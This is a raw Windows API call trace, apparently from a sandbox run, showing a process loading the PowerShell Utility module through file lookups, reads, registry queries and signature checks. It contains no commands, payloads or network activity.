lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.412] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0182.412] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0182.412] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0182.412] FindClose (in: hFindFile=0x5505c0 | out: hFindFile=0x5505c0) returned 1 [0182.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e754) returned 1 [0182.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e9b4) returned 1 [0182.412] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e75c) returned 1 [0182.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25a26e4 | out: lpFileInformation=0x25a26e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e758) returned 1 [0182.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e8c4) returned 1 [0182.491] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0182.491] GetFileType (hFile=0x3dc) returned 0x1 [0182.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e8c0) returned 1 [0182.491] GetFileType (hFile=0x3dc) returned 0x1 [0182.491] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x0 [0182.491] ReadFile (in: hFile=0x3dc, lpBuffer=0x25a3514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x25a3514*, lpNumberOfBytesRead=0x5a8e92c*=0x982, lpOverlapped=0x0) returned 1 [0182.492] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x982 [0182.492] ReadFile (in: hFile=0x3dc, lpBuffer=0x25a2a2a, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x25a2a2a*, lpNumberOfBytesRead=0x5a8e92c*=0x0, lpOverlapped=0x0) returned 1 [0182.492] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x982 [0182.492] ReadFile (in: hFile=0x3dc, lpBuffer=0x25a3514, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x25a3514*, lpNumberOfBytesRead=0x5a8e92c*=0x0, lpOverlapped=0x0) returned 1 [0182.492] CloseHandle (hObject=0x3dc) returned 1 [0182.495] CoCreateGuid (in: pguid=0x5a8ea2c | out: pguid=0x5a8ea2c*(Data1=0x7dfc575b, Data2=0x4cd5, Data3=0x4ac8, Data4=([0]=0xb9, [1]=0x77, [2]=0x99, [3]=0xb9, [4]=0xb0, [5]=0xec, [6]=0xd4, [7]=0xfe))) returned 0x0 [0182.495] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3dc [0182.496] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x36c [0182.496] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2c8 [0182.496] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x414 [0182.496] SetEvent (hEvent=0x414) returned 1 [0182.496] SetEvent (hEvent=0x3dc) returned 1 [0182.496] SetEvent (hEvent=0x36c) returned 1 [0182.496] SetEvent (hEvent=0x2c8) returned 1 [0182.497] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x418 [0182.497] SetThreadUILanguage (LangId=0x0) returned 0x409 [0182.801] EtwEventActivityIdControl () returned 0x0 [0182.801] EtwEventActivityIdControl () returned 0x0 [0182.801] EtwEventActivityIdControl () returned 0x0 [0182.815] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e258) returned 1 [0182.926] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8e51c | out: lpFileInformation=0x5a8e51c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e254) returned 1 [0182.926] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.927] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8e160, Length=0x20, ResultLength=0x5a8e1d0 | out: SystemInformation=0x5a8e160, ResultLength=0x5a8e1d0*=0x0) returned 0xc0000003 [0182.927] GetSystemInfo (in: lpSystemInfo=0x5a8e1dc | out: lpSystemInfo=0x5a8e1dc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0182.927] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e16c | out: phkResult=0x5a8e16c*=0x428) returned 0x0 [0182.928] RegQueryValueExW (in: hKey=0x428, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8e188, lpData=0x0, lpcbData=0x5a8e184*=0x0 | out: lpType=0x5a8e188*=0x0, lpData=0x0, lpcbData=0x5a8e184*=0x0) returned 0x2 [0182.928] RegCloseKey (hKey=0x428) returned 0x0 [0182.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e0e4) returned 1 [0182.928] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0182.928] GetFileType (hFile=0x428) returned 0x1 [0182.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e0e0) returned 1 [0182.928] GetFileType (hFile=0x428) returned 0x1 [0182.929] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e120*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e120*=0) returned 0x0 [0182.929] ReadFile (in: hFile=0x428, lpBuffer=0x25d91a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e14c, lpOverlapped=0x0 | out: lpBuffer=0x25d91a8*, lpNumberOfBytesRead=0x5a8e14c*=0x982, lpOverlapped=0x0) returned 1 [0182.929] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e120*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e120*=0) returned 0x982 [0182.929] ReadFile (in: hFile=0x428, lpBuffer=0x25d86be, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x5a8e14c, lpOverlapped=0x0 | out: lpBuffer=0x25d86be*, lpNumberOfBytesRead=0x5a8e14c*=0x0, lpOverlapped=0x0) returned 1 [0182.929] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e120*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e120*=0) returned 0x982 [0182.929] ReadFile (in: hFile=0x428, lpBuffer=0x25d91a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e14c, lpOverlapped=0x0 | out: lpBuffer=0x25d91a8*, lpNumberOfBytesRead=0x5a8e14c*=0x0, lpOverlapped=0x0) returned 1 [0182.929] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8e0b4, Length=0x20, ResultLength=0x5a8e124 | out: SystemInformation=0x5a8e0b4, ResultLength=0x5a8e124*=0x0) returned 0xc0000003 [0182.930] GetSystemInfo (in: lpSystemInfo=0x5a8e130 | out: lpSystemInfo=0x5a8e130*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0182.930] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e0c0 | out: phkResult=0x5a8e0c0*=0x42c) returned 0x0 [0182.930] RegQueryValueExW (in: hKey=0x42c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8e0dc, lpData=0x0, lpcbData=0x5a8e0d8*=0x0 | out: lpType=0x5a8e0dc*=0x0, lpData=0x0, lpcbData=0x5a8e0d8*=0x0) returned 0x2 [0182.930] RegCloseKey (hKey=0x42c) returned 0x0 [0182.930] CloseHandle (hObject=0x428) returned 1 [0182.932] CoCreateGuid (in: pguid=0x5a8e1b0 | out: pguid=0x5a8e1b0*(Data1=0xcc85219f, Data2=0x26a8, Data3=0x4bd3, Data4=([0]=0xb8, [1]=0x6, [2]=0x39, [3]=0x30, [4]=0xe3, [5]=0xd3, [6]=0xf, [7]=0xca))) returned 0x0 [0182.932] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8df10 | out: lpPerformanceCount=0x5a8df10*=1261395521624) returned 1 [0182.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8dbfc) returned 1 [0182.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8dec0 | out: lpFileInformation=0x5a8dec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8dbf8) returned 1 [0182.933] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.933] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.933] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.933] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8db90) returned 1 [0182.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8de54 | out: lpFileInformation=0x5a8de54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8db8c) returned 1 [0182.933] CoTaskMemAlloc (cb=0x10) returned 0x5b23108 [0182.933] CoTaskMemAlloc (cb=0x10) returned 0x5b23120 [0182.933] CoTaskMemAlloc (cb=0xe4) returned 0x577108 [0182.934] CoTaskMemAlloc (cb=0x30) returned 0x57f058 [0182.934] WinVerifyTrust () returned 0x800b0100 [0182.949] CoTaskMemFree (pv=0x5b23108) [0182.949] CoTaskMemFree (pv=0x57f058) [0182.949] CryptCATHandleFromStore () returned 0x54b090 [0182.949] WTHelperGetProvSignerFromChain () returned 0x0 [0182.949] CoTaskMemAlloc (cb=0x10) returned 0x5b23108 [0182.949] CoTaskMemAlloc (cb=0x30) returned 0x57f058 [0182.950] WinVerifyTrust () returned 0x0 [0182.950] CoTaskMemFree (pv=0x57f058) [0182.950] CoTaskMemFree (pv=0x5b23108) [0182.950] CoTaskMemFree (pv=0x577108) [0182.950] CoTaskMemFree (pv=0x5b23120) [0183.087] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0183.088] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0183.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0183.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0183.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0183.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0183.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0183.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0183.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d64c) returned 1 [0183.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a8d910 | out: lpFileInformation=0x5a8d910*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d648) returned 1 [0183.105] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.105] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff 